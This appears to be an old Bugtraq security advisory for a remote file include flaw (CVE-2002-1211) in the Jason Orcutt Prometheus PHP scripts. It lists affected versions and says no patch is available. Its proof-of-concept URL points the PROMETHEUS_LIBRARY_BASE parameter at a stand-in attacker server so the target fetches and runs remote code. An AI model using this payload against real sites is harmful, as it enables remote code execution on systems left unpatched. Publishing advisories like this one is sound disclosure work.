Jason Orcutt Prometheus Remote File Include Vulnerability

BID:6087

Info

Jason Orcutt Prometheus Remote File Include Vulnerability

Bugtraq ID: 6087
Class: Input Validation Error
CVE: CVE-2002-1211
Remote: Yes
Local: No
Published: Nov 01 2002 12:00AM
Updated: Jul 11 2009 06:06PM
Credit: Discovery of this vulnerability is credited to Karol Wiesek <[email protected]>.
Vulnerable: Jason Orcutt Prometheus 6.0
Jason Orcutt Prometheus 4.0 -beta
Jason Orcutt Prometheus 3.0 -beta
Not Vulnerable:

Discussion

Jason Orcutt Prometheus Remote File Include Vulnerability

Prometheus is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Prometheus. An attacker may exploit this by supplying a path to a malicious 'autoload.lib' file on a remote host as a value for the 'PROMETHEUS_LIBRARY_BASE' parameter.

Exploit / POC

Jason Orcutt Prometheus Remote File Include Vulnerability

The following proof of concept was provided:

http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&amp;PHP_AUTO_LOAD_LIB=0

Solution / Fix

Jason Orcutt Prometheus Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Jason Orcutt Prometheus Remote File Include Vulnerability

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